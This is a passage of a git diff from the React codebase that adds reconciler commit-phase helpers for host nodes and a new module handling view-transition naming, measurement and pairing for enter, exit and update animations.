+    commitNewChildToFragmentInstances(finishedWork, parentFragmentInstances);
+    return;
+  } else if (finishedWork.tag === HostPortal) {
+    // If the insertion itself is a portal, then we don't want to traverse
+    // down its children. Instead, we'll get insertions from each child in
+    // the portal directly.
+    return;
+  }
+
+  const child = finishedWork.child;
+  if (child !== null) {
+    commitImmutablePlacementNodeToFragmentInstances(
+      child,
+      parentFragmentInstances,
+    );
+    let sibling = child.sibling;
+    while (sibling !== null) {
+      commitImmutablePlacementNodeToFragmentInstances(
+        sibling,
+        parentFragmentInstances,
+      );
+      sibling = sibling.sibling;
+    }
+  }
+}
+
+export function commitHostPlacement(finishedWork: Fiber) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(finishedWork, commitPlacement, finishedWork);
+    } else {
+      commitPlacement(finishedWork);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostRemoveChildFromContainer(
+  deletedFiber: Fiber,
+  nearestMountedAncestor: Fiber,
+  parentContainer: Container,
+  hostInstance: Instance | TextInstance,
+) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        deletedFiber,
+        removeChildFromContainer,
+        parentContainer,
+        hostInstance,
+      );
+    } else {
+      removeChildFromContainer(parentContainer, hostInstance);
+    }
+    trackHostMutation();
+  } catch (error) {
+    captureCommitPhaseError(deletedFiber, nearestMountedAncestor, error);
+  }
+}
+
+export function commitHostRemoveChild(
+  deletedFiber: Fiber,
+  nearestMountedAncestor: Fiber,
+  parentInstance: Instance,
+  hostInstance: Instance | TextInstance,
+) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        deletedFiber,
+        removeChild,
+        parentInstance,
+        hostInstance,
+      );
+    } else {
+      removeChild(parentInstance, hostInstance);
+    }
+    trackHostMutation();
+  } catch (error) {
+    captureCommitPhaseError(deletedFiber, nearestMountedAncestor, error);
+  }
+}
+
+export function commitHostRootContainerChildren(
+  root: FiberRoot,
+  finishedWork: Fiber,
+) {
+  const containerInfo = root.containerInfo;
+  const pendingChildren = root.pendingChildren;
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        replaceContainerChildren,
+        containerInfo,
+        pendingChildren,
+      );
+    } else {
+      replaceContainerChildren(containerInfo, pendingChildren);
+    }
+    trackHostMutation();
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostPortalContainerChildren(
+  portal: {
+    containerInfo: Container,
+    pendingChildren: ChildSet,
+    ...
+  },
+  finishedWork: Fiber,
+  pendingChildren: ChildSet,
+) {
+  const containerInfo = portal.containerInfo;
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        replaceContainerChildren,
+        containerInfo,
+        pendingChildren,
+      );
+    } else {
+      replaceContainerChildren(containerInfo, pendingChildren);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostHydratedContainer(
+  root: FiberRoot,
+  finishedWork: Fiber,
+) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitHydratedContainer,
+        root.containerInfo,
+      );
+    } else {
+      commitHydratedContainer(root.containerInfo);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostHydratedActivity(
+  activityInstance: ActivityInstance,
+  finishedWork: Fiber,
+) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitHydratedActivityInstance,
+        activityInstance,
+      );
+    } else {
+      commitHydratedActivityInstance(activityInstance);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostHydratedSuspense(
+  suspenseInstance: SuspenseInstance,
+  finishedWork: Fiber,
+) {
+  try {
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        commitHydratedSuspenseInstance,
+        suspenseInstance,
+      );
+    } else {
+      commitHydratedSuspenseInstance(suspenseInstance);
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostSingletonAcquisition(finishedWork: Fiber) {
+  const singleton = finishedWork.stateNode;
+  const props = finishedWork.memoizedProps;
+
+  try {
+    // This was a new mount, acquire the DOM instance and set initial properties
+    if (__DEV__) {
+      runWithFiberInDEV(
+        finishedWork,
+        acquireSingletonInstance,
+        finishedWork.type,
+        props,
+        singleton,
+        finishedWork,
+      );
+    } else {
+      acquireSingletonInstance(
+        finishedWork.type,
+        props,
+        singleton,
+        finishedWork,
+      );
+    }
+  } catch (error) {
+    captureCommitPhaseError(finishedWork, finishedWork.return, error);
+  }
+}
+
+export function commitHostSingletonRelease(releasingWork: Fiber) {
+  if (__DEV__) {
+    runWithFiberInDEV(
+      releasingWork,
+      releaseSingletonInstance,
+      releasingWork.stateNode,
+    );
+  } else {
+    releaseSingletonInstance(releasingWork.stateNode);
+  }
+}
diff --git a/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js b/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js
new file mode 100644
index 000000000000..760270010dbc
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js
@@ -0,0 +1,957 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ViewTransitionProps} from 'shared/ReactTypes';
+import type {Instance, InstanceMeasurement, Props} from './ReactFiberConfig';
+import type {Fiber} from './ReactInternalTypes';
+import type {ViewTransitionState} from './ReactFiberViewTransitionComponent';
+
+import {
+  HostComponent,
+  OffscreenComponent,
+  ViewTransitionComponent,
+} from './ReactWorkTags';
+import {
+  NoFlags,
+  Update,
+  ViewTransitionStatic,
+  AffectedParentLayout,
+  ViewTransitionNamedStatic,
+} from './ReactFiberFlags';
+import {
+  supportsMutation,
+  applyViewTransitionName,
+  restoreViewTransitionName,
+  measureInstance,
+  measureClonedInstance,
+  hasInstanceChanged,
+  hasInstanceAffectedParent,
+  wasInstanceInViewport,
+} from './ReactFiberConfig';
+import {
+  scheduleViewTransitionEvent,
+  scheduleGestureTransitionEvent,
+} from './ReactFiberWorkLoop';
+import {
+  getViewTransitionName,
+  getViewTransitionClassName,
+} from './ReactFiberViewTransitionComponent';
+import {trackAnimatingTask} from './ReactProfilerTimer';
+import {
+  enableComponentPerformanceTrack,
+  enableProfilerTimer,
+  enableViewTransitionForPersistenceMode,
+} from 'shared/ReactFeatureFlags';
+
+export let shouldStartViewTransition: boolean = false;
+
+export function resetShouldStartViewTransition(): void {
+  shouldStartViewTransition = false;
+}
+
+// This tracks named ViewTransition components found in the accumulateSuspenseyCommit
+// phase that might need to find deleted pairs in the beforeMutation phase.
+export let appearingViewTransitions: Map<string, ViewTransitionState> | null =
+  null;
+
+export function resetAppearingViewTransitions(): void {
+  appearingViewTransitions = null;
+}
+
+export function trackAppearingViewTransition(
+  name: string,
+  state: ViewTransitionState,
+): void {
+  if (appearingViewTransitions === null) {
+    appearingViewTransitions = new Map();
+  }
+  appearingViewTransitions.set(name, state);
+}
+
+export function trackEnterViewTransitions(placement: Fiber): void {
+  if (
+    placement.tag === ViewTransitionComponent ||
+    (placement.subtreeFlags & ViewTransitionStatic) !== NoFlags
+  ) {
+    // If an inserted or appearing Fiber is a ViewTransition component or has one as
+    // an immediate child, then that will trigger as an "Enter" in future passes.
+    // We don't do anything else for that case in the "before mutation" phase but we
+    // still have to mark it as needing to call startViewTransition if nothing else
+    // updates.
+    shouldStartViewTransition = true;
+  }
+}
+
+// We can't cancel view transition children until we know that their parent also
+// don't need to transition.
+export let viewTransitionCancelableChildren: null | Array<
+  Instance | string | Props,
+> = null; // tupled array where each entry is [instance: Instance, oldName: string, props: Props]
+
+export function pushViewTransitionCancelableScope(): null | Array<
+  Instance | string | Props,
+> {
+  const prevChildren = viewTransitionCancelableChildren;
+  viewTransitionCancelableChildren = null;
+  return prevChildren;
+}
+
+export function popViewTransitionCancelableScope(
+  prevChildren: null | Array<Instance | string | Props>,
+): void {
+  viewTransitionCancelableChildren = prevChildren;
+}
+
+let viewTransitionHostInstanceIdx = 0;
+
+function applyViewTransitionToHostInstances(
+  fiber: Fiber,
+  name: string,
+  className: ?string,
+  collectMeasurements: null | Array<InstanceMeasurement>,
+  stopAtNestedViewTransitions: boolean,
+): boolean {
+  viewTransitionHostInstanceIdx = 0;
+  const inViewport = applyViewTransitionToHostInstancesRecursive(
+    fiber.child,
+    name,
+    className,
+    collectMeasurements,
+    stopAtNestedViewTransitions,
+  );
+  if (enableProfilerTimer && enableComponentPerformanceTrack && inViewport) {
+    if (fiber._debugTask != null) {
+      trackAnimatingTask(fiber._debugTask);
+    }
+  }
+  return inViewport;
+}
+
+function applyViewTransitionToHostInstancesRecursive(
+  child: null | Fiber,
+  name: string,
+  className: ?string,
+  collectMeasurements: null | Array<InstanceMeasurement>,
+  stopAtNestedViewTransitions: boolean,
+): boolean {
+  if (!supportsMutation) {
+    if (enableViewTransitionForPersistenceMode) {
+      while (child !== null) {
+        if (child.tag === HostComponent) {
+          const instance: Instance = child.stateNode;
+          // TODO: calculate whether component is in viewport
+          shouldStartViewTransition = true;
+          applyViewTransitionName(
+            instance,
+            viewTransitionHostInstanceIdx === 0
+              ? name
+              : name + '_' + viewTransitionHostInstanceIdx,
+            className,
+          );
+          viewTransitionHostInstanceIdx++;
+        } else if (
+          child.tag === OffscreenComponent &&
+          child.memoizedState !== null
+        ) {
+          // Skip any hidden subtrees. They were or are effectively not there.
+        } else if (
+          child.tag === ViewTransitionComponent &&
+          stopAtNestedViewTransitions
+        ) {
+          // Skip any nested view transitions for updates since in that case the
+          // inner most one is the one that handles the update.
+        } else {
+          applyViewTransitionToHostInstancesRecursive(
+            child.child,
+            name,
+            className,
+            collectMeasurements,
+            stopAtNestedViewTransitions,
+          );
+        }
+        child = child.sibling;
+      }
+      return true;
+    } else {
+      return false;
+    }
+  }
+  let inViewport = false;
+  while (child !== null) {
+    if (child.tag === HostComponent) {
+      const instance: Instance = child.stateNode;
+      if (collectMeasurements !== null) {
+        const measurement = measureInstance(instance);
+        collectMeasurements.push(measurement);
+        if (wasInstanceInViewport(measurement)) {
+          inViewport = true;
+        }
+      } else if (!inViewport) {
+        if (wasInstanceInViewport(measureInstance(instance))) {
+          inViewport = true;
+        }
+      }
+      shouldStartViewTransition = true;
+      applyViewTransitionName(
+        instance,
+        viewTransitionHostInstanceIdx === 0
+          ? name
+          : // If we have multiple Host Instances below, we add a suffix to the name to give
+            // each one a unique name.
+            name + '_' + viewTransitionHostInstanceIdx,
+        className,
+      );
+      viewTransitionHostInstanceIdx++;
+    } else if (
+      child.tag === OffscreenComponent &&
+      child.memoizedState !== null
+    ) {
+      // Skip any hidden subtrees. They were or are effectively not there.
+    } else if (
+      child.tag === ViewTransitionComponent &&
+      stopAtNestedViewTransitions
+    ) {
+      // Skip any nested view transitions for updates since in that case the
+      // inner most one is the one that handles the update.
+    } else {
+      if (
+        applyViewTransitionToHostInstancesRecursive(
+          child.child,
+          name,
+          className,
+          collectMeasurements,
+          stopAtNestedViewTransitions,
+        )
+      ) {
+        inViewport = true;
+      }
+    }
+    child = child.sibling;
+  }
+  return inViewport;
+}
+
+function restoreViewTransitionOnHostInstances(
+  child: null | Fiber,
+  stopAtNestedViewTransitions: boolean,
+): void {
+  if (!supportsMutation) {
+    return;
+  }
+  while (child !== null) {
+    if (child.tag === HostComponent) {
+      const instance: Instance = child.stateNode;
+      restoreViewTransitionName(instance, child.memoizedProps);
+    } else if (
+      child.tag === OffscreenComponent &&
+      child.memoizedState !== null
+    ) {
+      // Skip any hidden subtrees. They were or are effectively not there.
+    } else if (
+      child.tag === ViewTransitionComponent &&
+      stopAtNestedViewTransitions
+    ) {
+      // Skip any nested view transitions for updates since in that case the
+      // inner most one is the one that handles the update.
+    } else {
+      restoreViewTransitionOnHostInstances(
+        child.child,
+        stopAtNestedViewTransitions,
+      );
+    }
+    child = child.sibling;
+  }
+}
+
+function commitAppearingPairViewTransitions(placement: Fiber): void {
+  if ((placement.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {
+    // This has no named view transitions in its subtree.
+    return;
+  }
+  let child = placement.child;
+  while (child !== null) {
+    if (child.tag === OffscreenComponent && child.memoizedState !== null) {
+      // This tree was already hidden so we skip it.
+    } else {
+      commitAppearingPairViewTransitions(child);
+      if (
+        child.tag === ViewTransitionComponent &&
+        (child.flags & ViewTransitionNamedStatic) !== NoFlags
+      ) {
+        const instance: ViewTransitionState = child.stateNode;
+        if (instance.paired) {
+          const props: ViewTransitionProps = child.memoizedProps;
+          if (props.name == null || props.name === 'auto') {
+            throw new Error(
+              'Found a pair with an auto name. This is a bug in React.',
+            );
+          }
+          const name = props.name;
+          const className: ?string = getViewTransitionClassName(
+            props.default,
+            props.share,
+          );
+          if (className !== 'none') {
+            // We found a new appearing view transition with the same name as this deletion.
+            // We'll transition between them.
+            const inViewport = applyViewTransitionToHostInstances(
+              child,
+              name,
+              className,
+              null,
+              false,
+            );
+            if (!inViewport) {
+              // This boundary is exiting within the viewport but is going to leave the viewport.
+              // Instead, we treat this as an exit of the previous entry by reverting the new name.
+              // Ideally we could undo the old transition but it's now too late. It's also on its
+              // on snapshot. We have know was for it to paint onto the original group.
+              // TODO: This will lead to things unexpectedly having exit animations that normally
+              // wouldn't happen. Consider if we should just let this fly off the screen instead.
+              restoreViewTransitionOnHostInstances(child.child, false);
+            }
+          }
+        }
+      }
+    }
+    child = child.sibling;
+  }
+}
+
+export function commitEnterViewTransitions(
+  placement: Fiber,
+  gesture: boolean,
+): void {
+  if (placement.tag === ViewTransitionComponent) {
+    const state: ViewTransitionState = placement.stateNode;
+    const props: ViewTransitionProps = placement.memoizedProps;
+    const name = getViewTransitionName(props, state);
+    const className: ?string = getViewTransitionClassName(
+      props.default,
+      state.paired ? props.share : props.enter,
+    );
+    if (className !== 'none') {
+      const inViewport = applyViewTransitionToHostInstances(
+        placement,
+        name,
+        className,
+        null,
+        false,
+      );
+      if (!inViewport) {
+        // TODO: If this was part of a pair we will still run the onShare callback.
+        // Revert the transition names. This boundary is not in the viewport
+        // so we won't bother animating it.
+        restoreViewTransitionOnHostInstances(placement.child, false);
+        // TODO: Should we still visit the children in case a named one was in the viewport?
+      } else {
+        commitAppearingPairViewTransitions(placement);
+
+        if (!state.paired) {
+          if (gesture) {
+            scheduleGestureTransitionEvent(placement, props.onGestureEnter);
+          } else {
+            scheduleViewTransitionEvent(placement, props.onEnter);
+          }
+        }
+      }
+    } else {
+      commitAppearingPairViewTransitions(placement);
+    }
+  } else if ((placement.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+    let child = placement.child;
+    while (child !== null) {
+      commitEnterViewTransitions(child, gesture);
+      child = child.sibling;
+    }
+  } else {
+    commitAppearingPairViewTransitions(placement);
+  }
+}
+
+function commitDeletedPairViewTransitions(deletion: Fiber): void {
+  if (
+    appearingViewTransitions === null ||
+    appearingViewTransitions.size === 0
+  ) {
+    // We've found all.
+    return;
+  }
+  const pairs = appearingViewTransitions;
+  if ((deletion.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {
+    // This has no named view transitions in its subtree.
+    return;
+  }
+  let child = deletion.child;
+  while (child !== null) {
+    if (child.tag === OffscreenComponent && child.memoizedState !== null) {
+      // This tree was already hidden so we skip it.
+    } else {
+      if (
+        child.tag === ViewTransitionComponent &&
+        (child.flags & ViewTransitionNamedStatic) !== NoFlags
+      ) {
+        const props: ViewTransitionProps = child.memoizedProps;
+        const name = props.name;
+        if (name != null && name !== 'auto') {
+          const pair = pairs.get(name);
+          if (pair !== undefined) {
+            const className: ?string = getViewTransitionClassName(
+              props.default,
+              props.share,
+            );
+            if (className !== 'none') {
+              // We found a new appearing view transition with the same name as this deletion.
+              const inViewport = applyViewTransitionToHostInstances(
+                child,
+                name,
+                className,
+                null,
+                false,
+              );
+              if (!inViewport) {
+                // This boundary is not in the viewport so we won't treat it as a matched pair.
+                // Revert the transition names. This avoids it flying onto the screen which can
+                // be disruptive and doesn't really preserve any continuity anyway.
+                restoreViewTransitionOnHostInstances(child.child, false);
+              } else {
+                // We'll transition between them.
+                const oldInstance: ViewTransitionState = child.stateNode;
+                const newInstance: ViewTransitionState = pair;
+                newInstance.paired = oldInstance;
+                oldInstance.paired = newInstance;
+                // Note: If the other side ends up outside the viewport, we'll still run this.
+                // Therefore it's possible for onShare to be called with only an old snapshot.
+                scheduleViewTransitionEvent(child, props.onShare);
+              }
+            }
+            // Delete the entry so that we know when we've found all of them
+            // and can stop searching (size reaches zero).
+            pairs.delete(name);
+            if (pairs.size === 0) {
+              break;
+            }
+          }
+        }
+      }
+      commitDeletedPairViewTransitions(child);
+    }
+    child = child.sibling;
+  }
+}
+
+export function commitExitViewTransitions(deletion: Fiber): void {
+  if (deletion.tag === ViewTransitionComponent) {
+    const props: ViewTransitionProps = deletion.memoizedProps;
+    const name = getViewTransitionName(props, deletion.stateNode);
+    const pair =
+      appearingViewTransitions !== null
+        ? appearingViewTransitions.get(name)
+        : undefined;
+    const className: ?string = getViewTransitionClassName(
+      props.default,
+      pair !== undefined ? props.share : props.exit,
+    );
+    if (className !== 'none') {
+      const inViewport = applyViewTransitionToHostInstances(
+        deletion,
+        name,
+        className,
+        null,
+        false,
+      );
+      if (!inViewport) {
+        // Revert the transition names. This boundary is not in the viewport
+        // so we won't bother animating it.
+        restoreViewTransitionOnHostInstances(deletion.child, false);
+        // TODO: Should we still visit the children in case a named one was in the viewport?
+      } else if (pair !== undefined) {
+        // We found a new appearing view transition with the same name as this deletion.
+        // We'll transition between them instead of running the normal exit.
+        const oldInstance: ViewTransitionState = deletion.stateNode;
+        const newInstance: ViewTransitionState = pair;
+        newInstance.paired = oldInstance;
+        oldInstance.paired = newInstance;
+        // Delete the entry so that we know when we've found all of them
+        // and can stop searching (size reaches zero).
+        // $FlowFixMe[incompatible-use]: Refined by the pair.
+        appearingViewTransitions.delete(name);
+        // Note: If the other side ends up outside the viewport, we'll still run this.
+        // Therefore it's possible for onShare to be called with only an old snapshot.
+        scheduleViewTransitionEvent(deletion, props.onShare);
+      } else {
+        scheduleViewTransitionEvent(deletion, props.onExit);
+      }
+    }
+    if (appearingViewTransitions !== null) {
+      // Look for more pairs deeper in the tree.
+      commitDeletedPairViewTransitions(deletion);
+    }
+  } else if ((deletion.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+    let child = deletion.child;
+    while (child !== null) {
+      commitExitViewTransitions(child);
+      child = child.sibling;
+    }
+  } else {
+    if (appearingViewTransitions !== null) {
+      commitDeletedPairViewTransitions(deletion);
+    }
+  }
+}
+
+export function commitBeforeUpdateViewTransition(
+  current: Fiber,
+  finishedWork: Fiber,
+): void {
+  // The way we deal with multiple HostInstances as children of a View Transition in an
+  // update can get tricky. The important bit is that if you swap out n HostInstances
+  // from n HostInstances then they match up in order. Similarly, if you don't swap
+  // any HostInstances each instance just transitions as is.
+  //
+  // We call this function twice. First we apply the view transition names on the
+  // "current" tree in the snapshot phase. Then in the mutation phase we apply view
+  // transition names to the "finishedWork" tree.
+  //
+  // This means that if there were insertions or deletions before an updated Instance
+  // that same Instance might get different names in the "old" and the "new" state.
+  // For example if you swap two HostInstances inside a ViewTransition they don't
+  // animate to swap position but rather cross-fade into the other instance. This might
+  // be unexpected but it is in line with the semantics that the ViewTransition is its
+  // own layer that cross-fades its content when it updates. If you want to reorder then
+  // each child needs its own ViewTransition.
+  const oldProps: ViewTransitionProps = current.memoizedProps;
+  const oldName = getViewTransitionName(oldProps, current.stateNode);
+  const newProps: ViewTransitionProps = finishedWork.memoizedProps;
+  // This className applies only if there are fewer child DOM nodes than
+  // before or if this update should've been cancelled but we ended up with
+  // a parent animating so we need to animate the child too.
+  // For example, if update="foo" layout="none" and it turns out this was
+  // a layout only change, then the "foo" class will be applied even though
+  // it was not actually an update. Which is a bug.
+  const className: ?string = getViewTransitionClassName(
+    newProps.default,
+    newProps.update,
+  );
+  if (className === 'none') {
+    // If update is "none" then we don't have to apply a name. Since we won't animate this boundary.
+    return;
+  }
+  applyViewTransitionToHostInstances(
+    current,
+    oldName,
+    className,
+    (current.memoizedState = []),
+    true,
+  );
+}
+
+export function commitNestedViewTransitions(changedParent: Fiber): void {
+  let child = changedParent.child;
+  while (child !== null) {
+    if (child.tag === ViewTransitionComponent) {
+      // In this case the outer ViewTransition component wins but if there
+      // was an update through this component then the inner one wins.
+      const props: ViewTransitionProps = child.memoizedProps;
+      const name = getViewTransitionName(props, child.stateNode);
+      const className: ?string = getViewTransitionClassName(
+        props.default,
+        props.update,
+      );
+      // "Nested" view transitions are in subtrees that didn't update so
+      // this is a "current". We normally clear this upon rerendering
+      // but we use this flag to track changes from layout in the commit.
+      // So we need it to be cleared before we do that.
+      // TODO: Use some other temporary state to track this.
+      child.flags &= ~Update;
+      if (className !== 'none') {
+        applyViewTransitionToHostInstances(
+          child,
+          name,
+          className,
+          (child.memoizedState = []),
+          false,
+        );
+      }
+    } else if ((child.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+      commitNestedViewTransitions(child);
+    }
+    child = child.sibling;
+  }
+}
+
+function restorePairedViewTransitions(parent: Fiber): void {
+  if ((parent.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {
+    // This has no named view transitions in its subtree.
+    return;
+  }
+  let child = parent.child;
+  while (child !== null) {
+    if (child.tag === OffscreenComponent && child.memoizedState !== null) {
+      // This tree was already hidden so we skip it.
+    } else {
+      if (
+        child.tag === ViewTransitionComponent &&
+        (child.flags & ViewTransitionNamedStatic) !== NoFlags
+      ) {
+        const instance: ViewTransitionState = child.stateNode;
+        if (instance.paired !== null) {
+          instance.paired = null;
+          restoreViewTransitionOnHostInstances(child.child, false);
+        }
+      }
+      restorePairedViewTransitions(child);
+    }
+    child = child.sibling;
+  }
+}
+
+export function restoreEnterOrExitViewTransitions(fiber: Fiber): void {
+  if (fiber.tag === ViewTransitionComponent) {
+    const instance: ViewTransitionState = fiber.stateNode;
+    instance.paired = null;
+    restoreViewTransitionOnHostInstances(fiber.child, false);
+    restorePairedViewTransitions(fiber);
+  } else if ((fiber.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+    let child = fiber.child;
+    while (child !== null) {
+      restoreEnterOrExitViewTransitions(child);
+      child = child.sibling;
+    }
+  } else {
+    restorePairedViewTransitions(fiber);
+  }
+}
+
+export function restoreUpdateViewTransition(
+  current: Fiber,
+  finishedWork: Fiber,
+): void {
+  restoreViewTransitionOnHostInstances(current.child, true);
+  restoreViewTransitionOnHostInstances(finishedWork.child, true);
+}
+
+export function restoreUpdateViewTransitionForGesture(
+  current: Fiber,
+  finishedWork: Fiber,
+): void {
+  // For gestures we don't need to reset "finishedWork" because those would
+  // have all been clones that got deleted.
+  restoreViewTransitionOnHostInstances(current.child, true);
+}
+
+export function restoreNestedViewTransitions(changedParent: Fiber): void {
+  let child = changedParent.child;
+  while (child !== null) {
+    if (child.tag === ViewTransitionComponent) {
+      restoreViewTransitionOnHostInstances(child.child, false);
+    } else if ((child.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+      restoreNestedViewTransitions(child);
+    }
+    child = child.sibling;
+  }
+}
+
+export function measureViewTransitionHostInstances(
+  parentViewTransition: Fiber,
+  child: null | Fiber,
+  newName: string,
+  oldName: string,
+  className: ?string,
+  previousMeasurements: null | Array<InstanceMeasurement>,
+  stopAtNestedViewTransitions: boolean,
+): boolean {
+  viewTransitionHostInstanceIdx = 0;
+  return measureViewTransitionHostInstancesRecursive(
+    parentViewTransition,
+    child,
+    newName,
+    oldName,
+    className,
+    previousMeasurements,
+    stopAtNestedViewTransitions,
+  );
+}
+
+function measureViewTransitionHostInstancesRecursive(
+  parentViewTransition: Fiber,
+  child: null | Fiber,
+  newName: string,
+  oldName: string,
+  className: ?string,
+  previousMeasurements: null | Array<InstanceMeasurement>,
+  stopAtNestedViewTransitions: boolean,
+): boolean {
+  if (!supportsMutation) {
+    if (enableViewTransitionForPersistenceMode) {
+      while (child !== null) {
+        if (child.tag === HostComponent) {
+          const instance: Instance = child.stateNode;
+          if (
+            previousMeasurements == null ||
+            viewTransitionHostInstanceIdx >= previousMeasurements.length
+          ) {
+            // If there was an insertion of extra nodes, we have to assume they affected the parent.
+            // It should have already been marked as an Update due to the mutation.
+            parentViewTransition.flags |= AffectedParentLayout;
+          }
+          // TODO: check if instance is out of viewport
+          if ((parentViewTransition.flags & Update) !== NoFlags) {
+            applyViewTransitionName(
+              instance,
+              viewTransitionHostInstanceIdx === 0
+                ? newName
+                : newName + '_' + viewTransitionHostInstanceIdx,
+              className,
+            );
+          }
+          // TODO: cancel transition by pushing into viewTransitionCancelableChildren
+          viewTransitionHostInstanceIdx++;
+        } else if (
+          child.tag === OffscreenComponent &&
+          child.memoizedState !== null
+        ) {
+          // Skip any hidden subtrees. They were or are effectively not there.
+        } else if (
+          child.tag === ViewTransitionComponent &&
+          stopAtNestedViewTransitions
+        ) {
+          // Skip any nested view transitions for updates since in that case the
+          // inner most one is the one that handles the update.
+          // If this inner boundary resized we need to bubble that information up.
+          parentViewTransition.flags |= child.flags & AffectedParentLayout;
+        } else {
+          measureViewTransitionHostInstancesRecursive(
+            parentViewTransition,
+            child.child,
+            newName,
+            oldName,
+            className,
+            previousMeasurements,
+            stopAtNestedViewTransitions,
+          );
+        }
+        child = child.sibling;
+      }
+      return true;
+    } else {
+      return false;
+    }
+  }
+  let inViewport = false;
+  while (child !== null) {
+    if (child.tag === HostComponent) {
+      const instance: Instance = child.stateNode;
+      if (
+        previousMeasurements !== null &&
+        viewTransitionHostInstanceIdx < previousMeasurements.length
+      ) {
+        // The previous measurement of the Instance in this location within the ViewTransition.
+        // Note that this might not be the same exact Instance if the Instances within the
+        // ViewTransition changed.
+        const previousMeasurement =
+          previousMeasurements[viewTransitionHostInstanceIdx];
+        const nextMeasurement = measureInstance(instance);
+        if (
+          wasInstanceInViewport(previousMeasurement) ||
+          wasInstanceInViewport(nextMeasurement)
+        ) {
+          // If either the old or new state was within the viewport we have to animate this.
+          // But if it turns out that none of them were we'll be able to skip it.
+          inViewport = true;
+        }
+        if (
+          (parentViewTransition.flags & Update) === NoFlags &&
+          hasInstanceChanged(previousMeasurement, nextMeasurement)
+        ) {
+          parentViewTransition.flags |= Update;
+        }
+        if (hasInstanceAffectedParent(previousMeasurement, nextMeasurement)) {
+          // If this instance size within its parent has changed it might have caused the
+          // parent to relayout which needs a cross fade.
+          parentViewTransition.flags |= AffectedParentLayout;
+        }
+      } else {
+        // If there was an insertion of extra nodes, we have to assume they affected the parent.
+        // It should have already been marked as an Update due to the mutation.
+        parentViewTransition.flags |= AffectedParentLayout;
+      }
+      if ((parentViewTransition.flags & Update) !== NoFlags) {
+        // We might update this node so we need to apply its new name for the new state.
+        // Additionally in the ApplyGesture case we also need to do this because the clone
+        // will have the name but this one won't.
+        applyViewTransitionName(
+          instance,
+          viewTransitionHostInstanceIdx === 0
+            ? newName
+            : // If we have multiple Host Instances below, we add a suffix to the name to give
+              // each one a unique name.
+              newName + '_' + viewTransitionHostInstanceIdx,
+          className,
+        );
+      }
+      if (!inViewport || (parentViewTransition.flags & Update) === NoFlags) {
+        // It turns out that we had no other deeper mutations, the child transitions didn't
+        // affect the parent layout and this instance hasn't changed size. So we can skip
+        // animating it. However, in the current model this only works if the parent also
+        // doesn't animate. So we have to queue these and wait until we complete the parent
+        // to cancel them.
+        if (viewTransitionCancelableChildren === null) {
+          viewTransitionCancelableChildren = [];
+        }
+        viewTransitionCancelableChildren.push(
+          instance,
+          viewTransitionHostInstanceIdx === 0
+            ? oldName
+            : // If we have multiple Host Instances below, we add a suffix to the name to give
+              // each one a unique name.
+              oldName + '_' + viewTransitionHostInstanceIdx,
+          child.memoizedProps,
+        );
+      }
+      viewTransitionHostInstanceIdx++;
+    } else if (
+      child.tag === OffscreenComponent &&
+      child.memoizedState !== null
+    ) {
+      // Skip any hidden subtrees. They were or are effectively not there.
+    } else if (
+      child.tag === ViewTransitionComponent &&
+      stopAtNestedViewTransitions
+    ) {
+      // Skip any nested view transitions for updates since in that case the
+      // inner most one is the one that handles the update.
+      // If this inner boundary resized we need to bubble that information up.
+      parentViewTransition.flags |= child.flags & AffectedParentLayout;
+    } else {
+      if (
+        measureViewTransitionHostInstancesRecursive(
+          parentViewTransition,
+          child.child,
+          newName,
+          oldName,
+          className,
+          previousMeasurements,
+          stopAtNestedViewTransitions,
+        )
+      ) {
+        inViewport = true;
+      }
+    }
+    child = child.sibling;
+  }
+  return inViewport;
+}
+
+export function measureUpdateViewTransition(
+  current: Fiber,
+  finishedWork: Fiber,
+  gesture: boolean,
+): boolean {
+  // If this was a gesture then which Fiber was used for the "old" vs "new" state is reversed.
+  // We still need to treat "finishedWork" as the Fiber that contains the flags for this commmit.
+  const oldFiber = gesture ? finishedWork : current;
+  const newFiber = gesture ? current : finishedWork;
+  const props: ViewTransitionProps = newFiber.memoizedProps;
+  const state: ViewTransitionState = newFiber.stateNode;
+  const newName = getViewTransitionName(props, state);
+  const oldName = getViewTransitionName(oldFiber.memoizedProps, state);
+  // Whether it ends up having been updated or relayout we apply the update class name.
+  const className: ?string = getViewTransitionClassName(
+    props.default,
+    props.update,
+  );
+  if (className === 'none') {
+    // If update is "none" then we don't have to apply a name. Since we won't animate this boundary.
+    return false;
+  }
+  // If nothing changed due to a mutation, or children changing size
+  // and the measurements end up unchanged, we should restore it to not animate.
+  let previousMeasurements: null | Array<InstanceMeasurement>;
